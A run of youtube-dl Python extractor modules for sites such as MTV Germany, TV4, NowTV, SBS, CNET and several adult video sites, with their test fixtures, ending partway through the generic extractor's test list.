        'url': 'http://www.mtv.de/shows/933-teen-mom-2/staffeln/5353/folgen/63565-enthullungen',
        'info_dict': {
            'id': 'local_playlist-f5ae778b9832cc837189',
            'ext': 'flv',
            'title': 'Episode_teen-mom-2_shows_season-5_episode-1_full-episode_part1',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
        'skip': 'Blocked at Travis CI',
    }, {
        'url': 'http://www.mtv.de/news/77491-mtv-movies-spotlight-pixels-teil-3',
        'info_dict': {
            'id': 'local_playlist-4e760566473c4c8c5344',
            'ext': 'mp4',
            'title': 'Article_mtv-movies-spotlight-pixels-teil-3_short-clips_part1',
            'description': 'MTV Movies Supercut',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
        'skip': 'Das Video kann zur Zeit nicht abgespielt werden.',
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        playlist = self._parse_json(
            self._search_regex(
                r'window\.pagePlaylist\s*=\s*(\[.+?\]);\n', webpage, 'page playlist'),
            video_id)

        def _mrss_url(item):
            return item['mrss'] + item.get('mrssvars', '')

        # news pages contain single video in playlist with different id
        if len(playlist) == 1:
            return self._get_videos_info_from_url(_mrss_url(playlist[0]), video_id)

        for item in playlist:
            item_id = item.get('id')
            if item_id and compat_str(item_id) == video_id:
                return self._get_videos_info_from_url(_mrss_url(item), video_id)






from __future__ import unicode_literals

from .common import InfoExtractor


class DefenseGouvFrIE(InfoExtractor):
    IE_NAME = 'defense.gouv.fr'
    _VALID_URL = r'https?://.*?\.defense\.gouv\.fr/layout/set/ligthboxvideo/base-de-medias/webtv/(?P<id>[^/?#]*)'

    _TEST = {
        'url': 'http://www.defense.gouv.fr/layout/set/ligthboxvideo/base-de-medias/webtv/attaque-chimique-syrienne-du-21-aout-2013-1',
        'md5': '75bba6124da7e63d2d60b5244ec9430c',
        'info_dict': {
            'id': '11213',
            'ext': 'mp4',
            'title': 'attaque-chimique-syrienne-du-21-aout-2013-1'
        }
    }

    def _real_extract(self, url):
        title = self._match_id(url)
        webpage = self._download_webpage(url, title)

        video_id = self._search_regex(
            r"flashvars.pvg_id=\"(\d+)\";",
            webpage, 'ID')

        json_url = (
            'http://static.videos.gouv.fr/brightcovehub/export/json/%s' %
            video_id)
        info = self._download_json(json_url, title, 'Downloading JSON config')
        video_url = info['renditions'][0]['url']

        return {
            'id': video_id,
            'ext': 'mp4',
            'url': video_url,
            'title': title,
        }






# encoding: utf-8
from __future__ import unicode_literals

from ..compat import (
    compat_urllib_parse_unquote,
    compat_urllib_parse_urlencode,
)
from .common import InfoExtractor
from ..utils import (
    parse_duration,
    int_or_none,
    ExtractorError,
)


class Porn91IE(InfoExtractor):
    IE_NAME = '91porn'
    _VALID_URL = r'(?:https?://)(?:www\.|)91porn\.com/.+?\?viewkey=(?P<id>[\w\d]+)'

    _TEST = {
        'url': 'http://91porn.com/view_video.php?viewkey=7e42283b4f5ab36da134',
        'md5': '6df8f6d028bc8b14f5dbd73af742fb20',
        'info_dict': {
            'id': '7e42283b4f5ab36da134',
            'title': '18岁大一漂亮学妹，水嫩性感，再爽一次！',
            'ext': 'mp4',
            'duration': 431,
            'age_limit': 18,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        self._set_cookie('91porn.com', 'language', 'cn_CN')

        webpage = self._download_webpage(
            'http://91porn.com/view_video.php?viewkey=%s' % video_id, video_id)

        if '作为游客，你每天只可观看10个视频' in webpage:
            raise ExtractorError('91 Porn says: Daily limit 10 videos exceeded', expected=True)

        title = self._search_regex(
            r'<div id="viewvideo-title">([^<]+)</div>', webpage, 'title')
        title = title.replace('\n', '')

        # get real url
        file_id = self._search_regex(
            r'so.addVariable\(\'file\',\'(\d+)\'', webpage, 'file id')
        sec_code = self._search_regex(
            r'so.addVariable\(\'seccode\',\'([^\']+)\'', webpage, 'sec code')
        max_vid = self._search_regex(
            r'so.addVariable\(\'max_vid\',\'(\d+)\'', webpage, 'max vid')
        url_params = compat_urllib_parse_urlencode({
            'VID': file_id,
            'mp4': '1',
            'seccode': sec_code,
            'max_vid': max_vid,
        })
        info_cn = self._download_webpage(
            'http://91porn.com/getfile.php?' + url_params, video_id,
            'Downloading real video url')
        video_url = compat_urllib_parse_unquote(self._search_regex(
            r'file=([^&]+)&', info_cn, 'url'))

        duration = parse_duration(self._search_regex(
            r'时长:\s*</span>\s*(\d+:\d+)', webpage, 'duration', fatal=False))

        comment_count = int_or_none(self._search_regex(
            r'留言:\s*</span>\s*(\d+)', webpage, 'comment count', fatal=False))

        return {
            'id': video_id,
            'title': title,
            'url': video_url,
            'duration': duration,
            'comment_count': comment_count,
            'age_limit': self._rta_search(webpage),
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .theplatform import ThePlatformIE
from ..utils import int_or_none


class CBSInteractiveIE(ThePlatformIE):
    _VALID_URL = r'https?://(?:www\.)?(?P<site>cnet|zdnet)\.com/(?:videos|video/share)/(?P<id>[^/?]+)'
    _TESTS = [{
        'url': 'http://www.cnet.com/videos/hands-on-with-microsofts-windows-8-1-update/',
        'info_dict': {
            'id': '56f4ea68-bd21-4852-b08c-4de5b8354c60',
            'ext': 'flv',
            'title': 'Hands-on with Microsoft Windows 8.1 Update',
            'description': 'The new update to the Windows 8 OS brings improved performance for mouse and keyboard users.',
            'uploader_id': '6085384d-619e-11e3-b231-14feb5ca9861',
            'uploader': 'Sarah Mitroff',
            'duration': 70,
            'timestamp': 1396479627,
            'upload_date': '20140402',
        },
    }, {
        'url': 'http://www.cnet.com/videos/whiny-pothole-tweets-at-local-government-when-hit-by-cars-tomorrow-daily-187/',
        'info_dict': {
            'id': '56527b93-d25d-44e3-b738-f989ce2e49ba',
            'ext': 'flv',
            'title': 'Whiny potholes tweet at local government when hit by cars (Tomorrow Daily 187)',
            'description': 'Khail and Ashley wonder what other civic woes can be solved by self-tweeting objects, investigate a new kind of VR camera and watch an origami robot self-assemble, walk, climb, dig and dissolve. #TDPothole',
            'uploader_id': 'b163284d-6b73-44fc-b3e6-3da66c392d40',
            'uploader': 'Ashley Esqueda',
            'duration': 1482,
            'timestamp': 1433289889,
            'upload_date': '20150603',
        },
    }, {
        'url': 'http://www.zdnet.com/video/share/video-keeping-android-smartphones-and-tablets-secure/',
        'info_dict': {
            'id': 'bc1af9f0-a2b5-4e54-880d-0d95525781c0',
            'ext': 'mp4',
            'title': 'Video: Keeping Android smartphones and tablets secure',
            'description': 'Here\'s the best way to keep Android devices secure, and what you do when they\'ve come to the end of their lives.',
            'uploader_id': 'f2d97ea2-8175-11e2-9d12-0018fe8a00b0',
            'uploader': 'Adrian Kingsley-Hughes',
            'timestamp': 1448961720,
            'upload_date': '20151201',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        }
    }]
    TP_RELEASE_URL_TEMPLATE = 'http://link.theplatform.com/s/kYEXFC/%s?mbr=true'
    MPX_ACCOUNTS = {
        'cnet': 2288573011,
        'zdnet': 2387448114,
    }

    def _real_extract(self, url):
        site, display_id = re.match(self._VALID_URL, url).groups()
        webpage = self._download_webpage(url, display_id)

        data_json = self._html_search_regex(
            r"data-(?:cnet|zdnet)-video(?:-uvp)?-options='([^']+)'",
            webpage, 'data json')
        data = self._parse_json(data_json, display_id)
        vdata = data.get('video') or data['videos'][0]

        video_id = vdata['id']
        title = vdata['title']
        author = vdata.get('author')
        if author:
            uploader = '%s %s' % (author['firstName'], author['lastName'])
            uploader_id = author.get('id')
        else:
            uploader = None
            uploader_id = None

        media_guid_path = 'media/guid/%d/%s' % (self.MPX_ACCOUNTS[site], vdata['mpxRefId'])
        formats, subtitles = [], {}
        for (fkey, vid) in vdata['files'].items():
            if fkey == 'hls_phone' and 'hls_tablet' in vdata['files']:
                continue
            release_url = self.TP_RELEASE_URL_TEMPLATE % vid
            if fkey == 'hds':
                release_url += '&manifest=f4m'
            tp_formats, tp_subtitles = self._extract_theplatform_smil(release_url, video_id, 'Downloading %s SMIL data' % fkey)
            formats.extend(tp_formats)
            subtitles = self._merge_subtitles(subtitles, tp_subtitles)
        self._sort_formats(formats)

        info = self._extract_theplatform_metadata('kYEXFC/%s' % media_guid_path, video_id)
        info.update({
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'duration': int_or_none(vdata.get('duration')),
            'uploader': uploader,
            'uploader_id': uploader_id,
            'subtitles': subtitles,
            'formats': formats,
        })
        return info






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    fix_xml_ampersands,
)


class MetacriticIE(InfoExtractor):
    _VALID_URL = r'https?://www\.metacritic\.com/.+?/trailers/(?P<id>\d+)'

    _TESTS = [{
        'url': 'http://www.metacritic.com/game/playstation-4/infamous-second-son/trailers/3698222',
        'info_dict': {
            'id': '3698222',
            'ext': 'mp4',
            'title': 'inFamous: Second Son - inSide Sucker Punch: Smoke & Mirrors',
            'description': 'Take a peak behind-the-scenes to see how Sucker Punch brings smoke into the universe of inFAMOUS Second Son on the PS4.',
            'duration': 221,
        },
        'skip': 'Not providing trailers anymore',
    }, {
        'url': 'http://www.metacritic.com/game/playstation-4/tales-from-the-borderlands-a-telltale-game-series/trailers/5740315',
        'info_dict': {
            'id': '5740315',
            'ext': 'mp4',
            'title': 'Tales from the Borderlands - Finale: The Vault of the Traveler',
            'description': 'In the final episode of the season, all hell breaks loose. Jack is now in control of Helios\' systems, and he\'s ready to reclaim his rightful place as king of Hyperion (with or without you).',
            'duration': 114,
        },
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        webpage = self._download_webpage(url, video_id)
        # The xml is not well formatted, there are raw '&'
        info = self._download_xml('http://www.metacritic.com/video_data?video=' + video_id,
                                  video_id, 'Downloading info xml', transform_source=fix_xml_ampersands)

        clip = next(c for c in info.findall('playList/clip') if c.find('id').text == video_id)
        formats = []
        for videoFile in clip.findall('httpURI/videoFile'):
            rate_str = videoFile.find('rate').text
            video_url = videoFile.find('filePath').text
            formats.append({
                'url': video_url,
                'ext': 'mp4',
                'format_id': rate_str,
                'tbr': int(rate_str),
            })
        self._sort_formats(formats)

        description = self._html_search_regex(r'<b>Description:</b>(.*?)</p>',
                                              webpage, 'description', flags=re.DOTALL)

        return {
            'id': video_id,
            'title': clip.find('title').text,
            'formats': formats,
            'description': description,
            'duration': int(clip.find('duration').text),
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import parse_iso8601


class HowcastIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?howcast\.com/videos/(?P<id>\d+)'
    _TEST = {
        'url': 'http://www.howcast.com/videos/390161-How-to-Tie-a-Square-Knot-Properly',
        'md5': '7d45932269a288149483144f01b99789',
        'info_dict': {
            'id': '390161',
            'ext': 'mp4',
            'title': 'How to Tie a Square Knot Properly',
            'description': 'md5:dbe792e5f6f1489027027bf2eba188a3',
            'timestamp': 1276081287,
            'upload_date': '20100609',
            'duration': 56.823,
        },
        'params': {
            'skip_download': True,
        },
        'add_ie': ['Ooyala'],
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        embed_code = self._search_regex(
            r'<iframe[^>]+src="[^"]+\bembed_code=([^\b]+)\b',
            webpage, 'ooyala embed code')

        return {
            '_type': 'url_transparent',
            'ie_key': 'Ooyala',
            'url': 'ooyala:%s' % embed_code,
            'id': video_id,
            'timestamp': parse_iso8601(self._html_search_meta(
                'article:published_time', webpage, 'timestamp')),
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    parse_iso8601,
)


class TV4IE(InfoExtractor):
    IE_DESC = 'tv4.se and tv4play.se'
    _VALID_URL = r'''(?x)https?://(?:www\.)?
        (?:
            tv4\.se/(?:[^/]+)/klipp/(?:.*)-|
            tv4play\.se/
            (?:
                (?:program|barn)/(?:[^\?]+)\?video_id=|
                iframe/video/|
                film/|
                sport/|
            )
        )(?P<id>[0-9]+)'''
    _TESTS = [
        {
            'url': 'http://www.tv4.se/kalla-fakta/klipp/kalla-fakta-5-english-subtitles-2491650',
            'md5': '909d6454b87b10a25aa04c4bdd416a9b',
            'info_dict': {
                'id': '2491650',
                'ext': 'mp4',
                'title': 'Kalla Fakta 5 (english subtitles)',
                'thumbnail': 're:^https?://.*\.jpg$',
                'timestamp': int,
                'upload_date': '20131125',
            },
        },
        {
            'url': 'http://www.tv4play.se/iframe/video/3054113',
            'md5': '77f851c55139ffe0ebd41b6a5552489b',
            'info_dict': {
                'id': '3054113',
                'ext': 'mp4',
                'title': 'Så här jobbar ficktjuvarna - se avslöjande bilder',
                'thumbnail': 're:^https?://.*\.jpg$',
                'description': 'Unika bilder avslöjar hur turisternas fickor vittjas mitt på Stockholms central. Två experter på ficktjuvarna avslöjar knepen du ska se upp för.',
                'timestamp': int,
                'upload_date': '20150130',
            },
        },
        {
            'url': 'http://www.tv4play.se/sport/3060959',
            'only_matching': True,
        },
        {
            'url': 'http://www.tv4play.se/film/2378136',
            'only_matching': True,
        },
        {
            'url': 'http://www.tv4play.se/barn/looney-tunes?video_id=3062412',
            'only_matching': True,
        },
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        info = self._download_json(
            'http://www.tv4play.se/player/assets/%s.json' % video_id, video_id, 'Downloading video info JSON')

        # If is_geo_restricted is true, it doesn't necessarily mean we can't download it
        if info['is_geo_restricted']:
            self.report_warning('This content might not be available in your country due to licensing restrictions.')
        if info['requires_subscription']:
            raise ExtractorError('This content requires subscription.', expected=True)

        sources_data = self._download_json(
            'https://prima.tv4play.se/api/web/asset/%s/play.json?protocol=http&videoFormat=MP4' % video_id, video_id, 'Downloading sources JSON')
        sources = sources_data['playback']

        formats = []
        for item in sources.get('items', {}).get('item', []):
            ext, bitrate = item['mediaFormat'], item['bitrate']
            formats.append({
                'format_id': '%s_%s' % (ext, bitrate),
                'tbr': bitrate,
                'ext': ext,
                'url': item['url'],
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': info['title'],
            'formats': formats,
            'description': info.get('description'),
            'timestamp': parse_iso8601(info.get('broadcast_date_time')),
            'duration': info.get('duration'),
            'thumbnail': info.get('image'),
            'is_live': sources.get('live'),
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    ExtractorError,
    determine_ext,
    int_or_none,
    parse_iso8601,
    parse_duration,
    remove_start,
)


class NowTVBaseIE(InfoExtractor):
    _VIDEO_FIELDS = (
        'id', 'title', 'free', 'geoblocked', 'articleLong', 'articleShort',
        'broadcastStartDate', 'seoUrl', 'duration', 'files',
        'format.defaultImage169Format', 'format.defaultImage169Logo')

    def _extract_video(self, info, display_id=None):
        video_id = compat_str(info['id'])

        files = info['files']
        if not files:
            if info.get('geoblocked', False):
                raise ExtractorError(
                    'Video %s is not available from your location due to geo restriction' % video_id,
                    expected=True)
            if not info.get('free', True):
                raise ExtractorError(
                    'Video %s is not available for free' % video_id, expected=True)

        formats = []
        for item in files['items']:
            if determine_ext(item['path']) != 'f4v':
                continue
            app, play_path = remove_start(item['path'], '/').split('/', 1)
            formats.append({
                'url': 'rtmpe://fms.rtl.de',
                'app': app,
                'play_path': 'mp4:%s' % play_path,
                'ext': 'flv',
                'page_url': 'http://rtlnow.rtl.de',
                'player_url': 'http://cdn.static-fra.de/now/vodplayer.swf',
                'tbr': int_or_none(item.get('bitrate')),
            })
        self._sort_formats(formats)

        title = info['title']
        description = info.get('articleLong') or info.get('articleShort')
        timestamp = parse_iso8601(info.get('broadcastStartDate'), ' ')
        duration = parse_duration(info.get('duration'))

        f = info.get('format', {})
        thumbnail = f.get('defaultImage169Format') or f.get('defaultImage169Logo')

        return {
            'id': video_id,
            'display_id': display_id or info.get('seoUrl'),
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'timestamp': timestamp,
            'duration': duration,
            'formats': formats,
        }


class NowTVIE(NowTVBaseIE):
    _WORKING = False
    _VALID_URL = r'https?://(?:www\.)?nowtv\.(?:de|at|ch)/(?:rtl|rtl2|rtlnitro|superrtl|ntv|vox)/(?P<show_id>[^/]+)/(?:(?:list/[^/]+|jahr/\d{4}/\d{1,2})/)?(?P<id>[^/]+)/(?:player|preview)'

    _TESTS = [{
        # rtl
        'url': 'http://www.nowtv.de/rtl/bauer-sucht-frau/die-neuen-bauern-und-eine-hochzeit/player',
        'info_dict': {
            'id': '203519',
            'display_id': 'bauer-sucht-frau/die-neuen-bauern-und-eine-hochzeit',
            'ext': 'flv',
            'title': 'Inka Bause stellt die neuen Bauern vor',
            'description': 'md5:e234e1ed6d63cf06be5c070442612e7e',
            'thumbnail': 're:^https?://.*\.jpg$',
            'timestamp': 1432580700,
            'upload_date': '20150525',
            'duration': 2786,
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }, {
        # rtl2
        'url': 'http://www.nowtv.de/rtl2/berlin-tag-nacht/berlin-tag-nacht-folge-934/player',
        'info_dict': {
            'id': '203481',
            'display_id': 'berlin-tag-nacht/berlin-tag-nacht-folge-934',
            'ext': 'flv',
            'title': 'Berlin - Tag & Nacht (Folge 934)',
            'description': 'md5:c85e88c2e36c552dfe63433bc9506dd0',
            'thumbnail': 're:^https?://.*\.jpg$',
            'timestamp': 1432666800,
            'upload_date': '20150526',
            'duration': 2641,
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }, {
        # rtlnitro
        'url': 'http://www.nowtv.de/rtlnitro/alarm-fuer-cobra-11-die-autobahnpolizei/hals-und-beinbruch-2014-08-23-21-10-00/player',
        'info_dict': {
            'id': '165780',
            'display_id': 'alarm-fuer-cobra-11-die-autobahnpolizei/hals-und-beinbruch-2014-08-23-21-10-00',
            'ext': 'flv',
            'title': 'Hals- und Beinbruch',
            'description': 'md5:b50d248efffe244e6f56737f0911ca57',
            'thumbnail': 're:^https?://.*\.jpg$',
            'timestamp': 1432415400,
            'upload_date': '20150523',
            'duration': 2742,
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }, {
        # superrtl
        'url': 'http://www.nowtv.de/superrtl/medicopter-117/angst/player',
        'info_dict': {
            'id': '99205',
            'display_id': 'medicopter-117/angst',
            'ext': 'flv',
            'title': 'Angst!',
            'description': 'md5:30cbc4c0b73ec98bcd73c9f2a8c17c4e',
            'thumbnail': 're:^https?://.*\.jpg$',
            'timestamp': 1222632900,
            'upload_date': '20080928',
            'duration': 3025,
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }, {
        # ntv
        'url': 'http://www.nowtv.de/ntv/ratgeber-geld/thema-ua-der-erste-blick-die-apple-watch/player',
        'info_dict': {
            'id': '203521',
            'display_id': 'ratgeber-geld/thema-ua-der-erste-blick-die-apple-watch',
            'ext': 'flv',
            'title': 'Thema u.a.: Der erste Blick: Die Apple Watch',
            'description': 'md5:4312b6c9d839ffe7d8caf03865a531af',
            'thumbnail': 're:^https?://.*\.jpg$',
            'timestamp': 1432751700,
            'upload_date': '20150527',
            'duration': 1083,
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }, {
        # vox
        'url': 'http://www.nowtv.de/vox/der-hundeprofi/buero-fall-chihuahua-joel/player',
        'info_dict': {
            'id': '128953',
            'display_id': 'der-hundeprofi/buero-fall-chihuahua-joel',
            'ext': 'flv',
            'title': "Büro-Fall / Chihuahua 'Joel'",
            'description': 'md5:e62cb6bf7c3cc669179d4f1eb279ad8d',
            'thumbnail': 're:^https?://.*\.jpg$',
            'timestamp': 1432408200,
            'upload_date': '20150523',
            'duration': 3092,
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }, {
        'url': 'http://www.nowtv.de/rtl/bauer-sucht-frau/die-neuen-bauern-und-eine-hochzeit/preview',
        'only_matching': True,
    }, {
        'url': 'http://www.nowtv.at/rtl/bauer-sucht-frau/die-neuen-bauern-und-eine-hochzeit/preview?return=/rtl/bauer-sucht-frau/die-neuen-bauern-und-eine-hochzeit',
        'only_matching': True,
    }, {
        'url': 'http://www.nowtv.de/rtl2/echtzeit/list/aktuell/schnelles-geld-am-ende-der-welt/player',
        'only_matching': True,
    }, {
        'url': 'http://www.nowtv.de/rtl2/zuhause-im-glueck/jahr/2015/11/eine-erschuetternde-diagnose/player',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        display_id = '%s/%s' % (mobj.group('show_id'), mobj.group('id'))

        info = self._download_json(
            'https://api.nowtv.de/v3/movies/%s?fields=%s'
            % (display_id, ','.join(self._VIDEO_FIELDS)), display_id)

        return self._extract_video(info, display_id)


class NowTVListIE(NowTVBaseIE):
    _VALID_URL = r'https?://(?:www\.)?nowtv\.(?:de|at|ch)/(?:rtl|rtl2|rtlnitro|superrtl|ntv|vox)/(?P<show_id>[^/]+)/list/(?P<id>[^?/#&]+)$'

    _SHOW_FIELDS = ('title', )
    _SEASON_FIELDS = ('id', 'headline', 'seoheadline', )

    _TESTS = [{
        'url': 'http://www.nowtv.at/rtl/stern-tv/list/aktuell',
        'info_dict': {
            'id': '17006',
            'title': 'stern TV - Aktuell',
        },
        'playlist_count': 1,
    }, {
        'url': 'http://www.nowtv.at/rtl/das-supertalent/list/free-staffel-8',
        'info_dict': {
            'id': '20716',
            'title': 'Das Supertalent - FREE Staffel 8',
        },
        'playlist_count': 14,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        show_id = mobj.group('show_id')
        season_id = mobj.group('id')

        fields = []
        fields.extend(self._SHOW_FIELDS)
        fields.extend('formatTabs.%s' % field for field in self._SEASON_FIELDS)
        fields.extend(
            'formatTabs.formatTabPages.container.movies.%s' % field
            for field in self._VIDEO_FIELDS)

        list_info = self._download_json(
            'https://api.nowtv.de/v3/formats/seo?fields=%s&name=%s.php'
            % (','.join(fields), show_id),
            season_id)

        season = next(
            season for season in list_info['formatTabs']['items']
            if season.get('seoheadline') == season_id)

        title = '%s - %s' % (list_info['title'], season['headline'])

        entries = []
        for container in season['formatTabPages']['items']:
            for info in ((container.get('container') or {}).get('movies') or {}).get('items') or []:
                entries.append(self._extract_video(info))

        return self.playlist_result(
            entries, compat_str(season.get('id') or season_id), title)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    smuggle_url,
    ExtractorError,
)


class SBSIE(InfoExtractor):
    IE_DESC = 'sbs.com.au'
    _VALID_URL = r'https?://(?:www\.)?sbs\.com\.au/(?:ondemand|news)/video/(?:single/)?(?P<id>[0-9]+)'

    _TESTS = [{
        # Original URL is handled by the generic IE which finds the iframe:
        # http://www.sbs.com.au/thefeed/blog/2014/08/21/dingo-conservation
        'url': 'http://www.sbs.com.au/ondemand/video/single/320403011771/?source=drupal&vertical=thefeed',
        'md5': '3150cf278965eeabb5b4cea1c963fe0a',
        'info_dict': {
            'id': '320403011771',
            'ext': 'mp4',
            'title': 'Dingo Conservation (The Feed)',
            'description': 'md5:f250a9856fca50d22dec0b5b8015f8a5',
            'thumbnail': 're:http://.*\.jpg',
            'duration': 308,
            'timestamp': 1408613220,
            'upload_date': '20140821',
            'uploader': 'SBSC',
        },
    }, {
        'url': 'http://www.sbs.com.au/ondemand/video/320403011771/Dingo-Conservation-The-Feed',
        'only_matching': True,
    }, {
        'url': 'http://www.sbs.com.au/news/video/471395907773/The-Feed-July-9',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        player_params = self._download_json(
            'http://www.sbs.com.au/api/video_pdkvars/id/%s?form=json' % video_id, video_id)

        error = player_params.get('error')
        if error:
            error_message = 'Sorry, The video you are looking for does not exist.'
            video_data = error.get('results') or {}
            error_code = error.get('errorCode')
            if error_code == 'ComingSoon':
                error_message = '%s is not yet available.' % video_data.get('title', '')
            elif error_code in ('Forbidden', 'intranetAccessOnly'):
                error_message = 'Sorry, This video cannot be accessed via this website'
            elif error_code == 'Expired':
                error_message = 'Sorry, %s is no longer available.' % video_data.get('title', '')
            raise ExtractorError('%s said: %s' % (self.IE_NAME, error_message), expected=True)

        urls = player_params['releaseUrls']
        theplatform_url = (urls.get('progressive') or urls.get('html') or
                           urls.get('standard') or player_params['relatedItemsURL'])

        return {
            '_type': 'url_transparent',
            'ie_key': 'ThePlatform',
            'id': video_id,
            'url': smuggle_url(self._proto_relative_url(theplatform_url), {'force_smil_url': True}),
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
)


class YouJizzIE(InfoExtractor):
    _VALID_URL = r'https?://(?:\w+\.)?youjizz\.com/videos/(?:[^/#?]+)?-(?P<id>[0-9]+)\.html(?:$|[?#])'
    _TESTS = [{
        'url': 'http://www.youjizz.com/videos/zeichentrick-1-2189178.html',
        'md5': '07e15fa469ba384c7693fd246905547c',
        'info_dict': {
            'id': '2189178',
            'ext': 'flv',
            'title': 'Zeichentrick 1',
            'age_limit': 18,
        }
    }, {
        'url': 'http://www.youjizz.com/videos/-2189178.html',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        age_limit = self._rta_search(webpage)
        video_title = self._html_search_regex(
            r'<title>\s*(.*)\s*</title>', webpage, 'title')

        embed_page_url = self._search_regex(
            r'(https?://www.youjizz.com/videos/embed/[0-9]+)',
            webpage, 'embed page')
        webpage = self._download_webpage(
            embed_page_url, video_id, note='downloading embed page')

        # Get the video URL
        m_playlist = re.search(r'so.addVariable\("playlist", ?"(?P<playlist>.+?)"\);', webpage)
        if m_playlist is not None:
            playlist_url = m_playlist.group('playlist')
            playlist_page = self._download_webpage(playlist_url, video_id,
                                                   'Downloading playlist page')
            m_levels = list(re.finditer(r'<level bitrate="(\d+?)" file="(.*?)"', playlist_page))
            if len(m_levels) == 0:
                raise ExtractorError('Unable to extract video url')
            videos = [(int(m.group(1)), m.group(2)) for m in m_levels]
            (_, video_url) = sorted(videos)[0]
            video_url = video_url.replace('%252F', '%2F')
        else:
            video_url = self._search_regex(r'so.addVariable\("file",encodeURIComponent\("(?P<source>[^"]+)"\)\);',
                                           webpage, 'video URL')

        return {
            'id': video_id,
            'url': video_url,
            'title': video_title,
            'ext': 'flv',
            'format': 'flv',
            'player_url': embed_page_url,
            'age_limit': age_limit,
        }






# encoding: utf-8

from __future__ import unicode_literals

import os
import re
import sys

from .common import InfoExtractor
from .youtube import YoutubeIE
from ..compat import (
    compat_etree_fromstring,
    compat_urllib_parse_unquote,
    compat_urlparse,
    compat_xml_parse_error,
)
from ..utils import (
    determine_ext,
    ExtractorError,
    float_or_none,
    HEADRequest,
    is_html,
    orderedSet,
    sanitized_Request,
    smuggle_url,
    unescapeHTML,
    unified_strdate,
    unsmuggle_url,
    UnsupportedError,
    url_basename,
    xpath_text,
)
from .brightcove import (
    BrightcoveLegacyIE,
    BrightcoveNewIE,
)
from .nbc import NBCSportsVPlayerIE
from .ooyala import OoyalaIE
from .rutv import RUTVIE
from .tvc import TVCIE
from .sportbox import SportBoxEmbedIE
from .smotri import SmotriIE
from .myvi import MyviIE
from .condenast import CondeNastIE
from .udn import UDNEmbedIE
from .senateisvp import SenateISVPIE
from .svt import SVTIE
from .pornhub import PornHubIE
from .xhamster import XHamsterEmbedIE
from .tnaflix import TNAFlixNetworkEmbedIE
from .vimeo import VimeoIE
from .dailymotion import (
    DailymotionIE,
    DailymotionCloudIE,
)
from .onionstudios import OnionStudiosIE
from .viewlift import ViewLiftEmbedIE
from .screenwavemedia import ScreenwaveMediaIE
from .mtv import MTVServicesEmbeddedIE
from .pladform import PladformIE
from .videomore import VideomoreIE
from .googledrive import GoogleDriveIE
from .jwplatform import JWPlatformIE
from .digiteka import DigitekaIE
from .arkena import ArkenaIE
from .instagram import InstagramIE
from .liveleak import LiveLeakIE
from .threeqsdn import ThreeQSDNIE
from .theplatform import ThePlatformIE
from .vessel import VesselIE
from .kaltura import KalturaIE
from .eagleplatform import EaglePlatformIE
from .facebook import FacebookIE
from .soundcloud import SoundcloudIE
from .vbox7 import Vbox7IE
from .dbtv import DBTVIE


class GenericIE(InfoExtractor):
    IE_DESC = 'Generic downloader that works on some sites'
    _VALID_URL = r'.*'
    IE_NAME = 'generic'
    _TESTS = [
        # Direct link to a video
        {
            'url': 'http://media.w3.org/2010/05/sintel/trailer.mp4',
            'md5': '67d406c2bcb6af27fa886f31aa934bbe',
            'info_dict': {
                'id': 'trailer',
                'ext': 'mp4',
                'title': 'trailer',
                'upload_date': '20100513',
            }
        },
        # Direct link to media delivered compressed (until Accept-Encoding is *)
        {
            'url': 'http://calimero.tk/muzik/FictionJunction-Parallel_Hearts.flac',
            'md5': '128c42e68b13950268b648275386fc74',
            'info_dict': {
                'id': 'FictionJunction-Parallel_Hearts',
                'ext': 'flac',
                'title': 'FictionJunction-Parallel_Hearts',
                'upload_date': '20140522',
            },
            'expected_warnings': [
                'URL could be a direct video link, returning it as such.'
            ]
        },
        # Direct download with broken HEAD
        {
            'url': 'http://ai-radio.org:8000/radio.opus',
            'info_dict': {
                'id': 'radio',
                'ext': 'opus',
                'title': 'radio',
            },
            'params': {
                'skip_download': True,  # infinite live stream
            },
            'expected_warnings': [
                r'501.*Not Implemented',
                r'400.*Bad Request',
            ],
        },
        # Direct link with incorrect MIME type
        {
            'url': 'http://ftp.nluug.nl/video/nluug/2014-11-20_nj14/zaal-2/5_Lennart_Poettering_-_Systemd.webm',
            'md5': '4ccbebe5f36706d85221f204d7eb5913',
            'info_dict': {
                'url': 'http://ftp.nluug.nl/video/nluug/2014-11-20_nj14/zaal-2/5_Lennart_Poettering_-_Systemd.webm',
                'id': '5_Lennart_Poettering_-_Systemd',
                'ext': 'webm',
                'title': '5_Lennart_Poettering_-_Systemd',
                'upload_date': '20141120',
            },
            'expected_warnings': [
